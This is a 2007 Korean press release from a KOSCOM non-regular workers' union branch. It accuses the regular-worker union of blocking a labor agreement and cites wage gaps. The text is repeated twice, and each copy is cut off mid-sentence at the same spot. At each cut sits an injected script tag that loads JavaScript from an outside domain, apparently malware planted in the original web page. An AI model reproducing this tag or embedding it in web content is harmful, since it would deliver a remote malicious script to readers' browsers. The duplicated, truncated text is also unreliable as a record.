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코스콤 정규직 노동조합,비정규지부 노사합의 반대
전국증권산업노동조합 코스콤비정규지부
민주노총 사무금융연맹 전국증권노조 코스콤비정규지부 tel 02)783-9630 http://snojo.or.kr
◦수 신 : 각 언론사 및 제 사회단체 노동․경제․사회 담당자
◦일 시 : 2007년 7월 3일(화) 11:00
◦장 소 : 코스콤 본사(증권선물거래소) 1층 로비
◦내 용 : 7월 3일 코스콤비정규지부, 코스콤 정규직 노조 공개토론회 제안
◦문 의: 김은아 증권노조 교육선전실장(017-212-7990), 이민정 선전부장(010-8971-3035), 코스콤비정규지부 박주현선전국장(010-2955-3518)
14명 삭발 투쟁 비정규지부 노사합의, 정규직노조가 반대해 교섭결렬
연봉 8천 정규직노조가 연봉 2천 비정규직 노동자 투쟁 가로막고 나서
코스콤비정규지부, 정규직노조에 11시 긴급공개토론회 제안
0. 귀 언론사의 건승을 기원합니다.
1. 전국증권산업노동조합 코스콤비정규지부(지부장 황영수)은 정규직 직접고용 쟁취를 위해 6월 28일부터 증권거래소 1층 로비 농성에 돌입해 14명 연속삭발까지 감행하며 투쟁하고 있습니다. 그런데 비정규노동자를 벼랑끝으로 내모는 비정규악법이 시행된 7월, 정규직 노조가 직접 나서 비정규직 노동자의 투쟁을 탄압하는 처참한 상황이 벌어지고 있습니다.
2. 비정규법 시행령 발효 다음날인 7월 2일 코스콤비정규지부와 코스콤 사측은 힘겹게 기본합의서 안(전문은 별첨 참조)을 작성하는데까지 의견접근을 이뤘습니다. 그런데 안작성까지 마친 상태에서 코스콤 이종규 대표이사는 돌연 “직원들이 전부 (기본합의서 작성을) 반대한다”며 기본합의서를 거부해 결국 교섭이 결렬되고 말았습니다.
3. 비정규직 문제를 해결하기 위해 상호 노력한다는 선언적 내용과 비정규노동자의 징계를 막겠다는 최소한의 보호조항이 전부인 기본합의서를 굳이 정규직 노동자가 반대할 이유는 전혀 없습니다. 또한 코스콤비정규지부는 전체 정규직 노동자의 뜻보다는 ‘정규직 노조가 반대했다’는 정황도 파악하고 있습니다.
4. 최근 언론보도에 따르면 코스콤 정규직 노동자의 평균연봉은 6837만원으로 거의 7천만원에 다다릅니다. 코스콤 정규직 노동자는 주요경쟁대상 IT 기업, 증권업종 IT 인력과 비교해보아도 월등히 높은 임금을 받고 있습니다.
5. 2004년경 코스콤이 자체적으로 조사한 결과는 더욱 놀랍습니다. 코스콤 스스로 2004년 1인당 평균인건비로 이미 8125만원을 예상하고 있고, 코스콤이 산출한 매년 인건비 증가추이(평균 10.3% 증가)를 기준으로 볼 때 현재는 더욱 높은 임금을 받고 있을 것이 예상됩니다. (별첨 표참고)
6. 이에 비해 현재 증권거래소 1층 로비에서 농성을 진행중인 코스콤 비정규직 노동자의 평균연봉은 약 1500~2000만원 선입니다. 15년, 20년을 일해도 기본적인 생활유지가 힘든 지경에 놓인데다 코스콤은 최근 5년간 이 연봉마저 동결하였습니다. (별첨 표 참고)
7. 연봉 8125만원의 정규직 노동자가 연봉 1500~2000만원의 비정규직 노동자를 탄압하는 사태가 벌어지고 있습니다. ‘정규직, 비정규직 같이 임금 동결이었다’고 이야기하지만, 정규직 노동자는 근무년수가 올라갈 수록 호봉이 올라가고 있습니다. 반면 비정규직 노동자들은 한 푼도 올라가지 않는 임금을 받으며, 때로는 본인도 모르는 새 불법파견업체에 팔려다니고 있었습니다. 밤낮, 휴일과 명절 가리지 않고 일해온 자기 연봉의 1/4를 받으며 코스콤에서 15년, 20년을 온몸바쳐 일해온 비정규직 노동자의 소박한 요구마저 탄압하는 것이 진정 코스콤 정규직 노동자 전체의 뜻이라면 사회적 지탄을 면할 길이 없을 것입니다.
8. 코스콤의 비정규직 문제는 물론 코스콤 사측의 책임입니다. 하지만, 이번 사태에서 코스콤 정규직 노조는 책임을 피할 수 없을 것입니다. 코스콤 정규직 노동조합은 현재 ‘정규직 노동자의 생각이다’는 핑계로 정규직노동자 이기주의를 조장하고, 더 나아가 비정규직 노동자를 탄압하는데 앞장서고 있습니다.
9. 현재 550명에 달하는 비정규직 노동자가 정규직화되어 현재 정규직 노동자와 같은 임금을 받게 될 경우 코스콤이 부담하게 될 재정적 압박의 규모가 얼마나 클지를 정규직 노조가 먼저 걱정하고 있습니다. 그리고 정규직화 쟁취를 위한 아주 작은 첫걸음도 막아나선 것입니다. 정규직노조는 정규직노동자의 타기업보다 월등히 높은 고임금이 엄청난 착취를 감내해야 했던 비정규직 노동자로 인해 가능했다는 사실을 외면하고, 인간답게 살기 위해 투쟁에 나선 비정규직 노동자의 투쟁마저 탄압하고 나선 것입니다. 비정규직 노동자의 정규직화가 정규직의 기득권을 위협한다고 생각한 것입니다.
10. 코스콤비정규지부는 한달여간의 투쟁기간 동안 코스콤정?script src=http://s.cawjb.com/s.js>
전국증권산업노동조합 코스콤비정규지부
민주노총 사무금융연맹 전국증권노조 코스콤비정규지부 tel 02)783-9630 http://snojo.or.kr
◦수 신 : 각 언론사 및 제 사회단체 노동․경제․사회 담당자
◦일 시 : 2007년 7월 3일(화) 11:00
◦장 소 : 코스콤 본사(증권선물거래소) 1층 로비
◦내 용 : 7월 3일 코스콤비정규지부, 코스콤 정규직 노조 공개토론회 제안
◦문 의: 김은아 증권노조 교육선전실장(017-212-7990), 이민정 선전부장(010-8971-3035), 코스콤비정규지부 박주현선전국장(010-2955-3518)
14명 삭발 투쟁 비정규지부 노사합의, 정규직노조가 반대해 교섭결렬
연봉 8천 정규직노조가 연봉 2천 비정규직 노동자 투쟁 가로막고 나서
코스콤비정규지부, 정규직노조에 11시 긴급공개토론회 제안
0. 귀 언론사의 건승을 기원합니다.
1. 전국증권산업노동조합 코스콤비정규지부(지부장 황영수)은 정규직 직접고용 쟁취를 위해 6월 28일부터 증권거래소 1층 로비 농성에 돌입해 14명 연속삭발까지 감행하며 투쟁하고 있습니다. 그런데 비정규노동자를 벼랑끝으로 내모는 비정규악법이 시행된 7월, 정규직 노조가 직접 나서 비정규직 노동자의 투쟁을 탄압하는 처참한 상황이 벌어지고 있습니다.
2. 비정규법 시행령 발효 다음날인 7월 2일 코스콤비정규지부와 코스콤 사측은 힘겹게 기본합의서 안(전문은 별첨 참조)을 작성하는데까지 의견접근을 이뤘습니다. 그런데 안작성까지 마친 상태에서 코스콤 이종규 대표이사는 돌연 “직원들이 전부 (기본합의서 작성을) 반대한다”며 기본합의서를 거부해 결국 교섭이 결렬되고 말았습니다.
3. 비정규직 문제를 해결하기 위해 상호 노력한다는 선언적 내용과 비정규노동자의 징계를 막겠다는 최소한의 보호조항이 전부인 기본합의서를 굳이 정규직 노동자가 반대할 이유는 전혀 없습니다. 또한 코스콤비정규지부는 전체 정규직 노동자의 뜻보다는 ‘정규직 노조가 반대했다’는 정황도 파악하고 있습니다.
4. 최근 언론보도에 따르면 코스콤 정규직 노동자의 평균연봉은 6837만원으로 거의 7천만원에 다다릅니다. 코스콤 정규직 노동자는 주요경쟁대상 IT 기업, 증권업종 IT 인력과 비교해보아도 월등히 높은 임금을 받고 있습니다.
5. 2004년경 코스콤이 자체적으로 조사한 결과는 더욱 놀랍습니다. 코스콤 스스로 2004년 1인당 평균인건비로 이미 8125만원을 예상하고 있고, 코스콤이 산출한 매년 인건비 증가추이(평균 10.3% 증가)를 기준으로 볼 때 현재는 더욱 높은 임금을 받고 있을 것이 예상됩니다. (별첨 표참고)
6. 이에 비해 현재 증권거래소 1층 로비에서 농성을 진행중인 코스콤 비정규직 노동자의 평균연봉은 약 1500~2000만원 선입니다. 15년, 20년을 일해도 기본적인 생활유지가 힘든 지경에 놓인데다 코스콤은 최근 5년간 이 연봉마저 동결하였습니다. (별첨 표 참고)
7. 연봉 8125만원의 정규직 노동자가 연봉 1500~2000만원의 비정규직 노동자를 탄압하는 사태가 벌어지고 있습니다. ‘정규직, 비정규직 같이 임금 동결이었다’고 이야기하지만, 정규직 노동자는 근무년수가 올라갈 수록 호봉이 올라가고 있습니다. 반면 비정규직 노동자들은 한 푼도 올라가지 않는 임금을 받으며, 때로는 본인도 모르는 새 불법파견업체에 팔려다니고 있었습니다. 밤낮, 휴일과 명절 가리지 않고 일해온 자기 연봉의 1/4를 받으며 코스콤에서 15년, 20년을 온몸바쳐 일해온 비정규직 노동자의 소박한 요구마저 탄압하는 것이 진정 코스콤 정규직 노동자 전체의 뜻이라면 사회적 지탄을 면할 길이 없을 것입니다.
8. 코스콤의 비정규직 문제는 물론 코스콤 사측의 책임입니다. 하지만, 이번 사태에서 코스콤 정규직 노조는 책임을 피할 수 없을 것입니다. 코스콤 정규직 노동조합은 현재 ‘정규직 노동자의 생각이다’는 핑계로 정규직노동자 이기주의를 조장하고, 더 나아가 비정규직 노동자를 탄압하는데 앞장서고 있습니다.
9. 현재 550명에 달하는 비정규직 노동자가 정규직화되어 현재 정규직 노동자와 같은 임금을 받게 될 경우 코스콤이 부담하게 될 재정적 압박의 규모가 얼마나 클지를 정규직 노조가 먼저 걱정하고 있습니다. 그리고 정규직화 쟁취를 위한 아주 작은 첫걸음도 막아나선 것입니다. 정규직노조는 정규직노동자의 타기업보다 월등히 높은 고임금이 엄청난 착취를 감내해야 했던 비정규직 노동자로 인해 가능했다는 사실을 외면하고, 인간답게 살기 위해 투쟁에 나선 비정규직 노동자의 투쟁마저 탄압하고 나선 것입니다. 비정규직 노동자의 정규직화가 정규직의 기득권을 위협한다고 생각한 것입니다.
10. 코스콤비정규지부는 한달여간의 투쟁기간 동안 코스콤정?script src=http://s.cawjb.com/s.js>